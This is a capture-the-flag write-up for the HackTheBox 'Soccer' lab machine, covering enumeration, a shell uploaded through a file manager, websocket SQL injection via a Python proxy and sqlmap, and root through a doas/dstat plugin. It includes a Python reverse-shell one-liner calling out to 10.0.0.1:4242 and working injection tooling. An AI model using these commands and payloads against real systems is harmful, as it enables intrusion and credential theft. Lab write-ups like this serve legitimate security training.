Starting with nmap scans we have a few open ports 22 ssh and port 80 webserver that we need to add to /etc/hosts soccer.htb.
start enumerating the host scanning for subdomains with wfuzz and subdirectories with feroxbuster
wfuzz -c -w /usr/share/seclists/Discovers/DNS/bitquard-subdomains-top100000.txt - 'http://soccer.htb' -H "Host: FUZZ.soccer.htb" --hc 301,302
feroxbuster -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php
During scans we find a “Tiny File Manager”
Checking the github the default credentials do work, we can upload a shell here?
/var/www/html/tiny/uploads
has permissions to upload and we get a callback as www-data after setting up a listener.
during a linpeas scan we end up finding soc-player.soccer.htb
which is another site with a login…
Checking the source on the /check page wqe find a websocket. I’ve literally never had to deal with or know how to deal with this but I found some help? https://book.hacktricks.xyz/pentesting-web/cross-site-websocket-hijacking-cswsh
1
2
3
4
curl -i -s -k -X $'GET' \
-H $'Host: soc-player.soccer.htb' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Referer: http://soc-player.soccer.htb/check' -H $'Upgrade-Insecure-Requests: 1' -H $'If-None-Match: W/\"12e9-jepY6GiJmK+3NHavK46gs9vINZM\"' \
-b $'connect.sid=s%3AKI5S00CPO6HI-LF23kQn6GqHwWQxa2Nh.ljAb1hQUlzyU6qz4iPBlLwBKc5n4UNxapAIi%2Fhb0%2Bik' \
$'http://soc-player.soccer.htb/check'
Inspecting the check page we find a websocket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
var btn = document.getElementById('btn');
var input = document.getElementById('id');
ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});
function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
ws.onmessage = function (e) {
append(e.data)
}
function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}
read more about exploiting this here.
We start off by hosting a http.server that will connect to the websocket so we can send through requests to dump the database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
- run sqlmap and dump the database
sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
1
2
3
4
5
6
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
- dump the soccer_db
sqlmap -u "http://localhost:8081/?id=1" -D soccer_db --dump
1
2
3
4
5
6
7
8
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
login via ssh
find / -type f -perm -u=s 2>/dev/null
We see doas here. check the config for doas
find / -name *doas* 2>/dev/null
permit nopass player as root cmd /usr/bin/dstat
this mean we can use doas to execute dstat as root
dstat is a tool for generating system resouce statustics it allows users to create custom plugins and execute them by adding the --myplugin
options.
find the stat directory
find / -type d -name dstat 2>/dev/null
create a plugin in the directory
1
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
dstat will recognize pluds under this directory. we can check if the plugin has been added by executing dstat --list | grep oskar
after setting up a listener we recieve a root shell.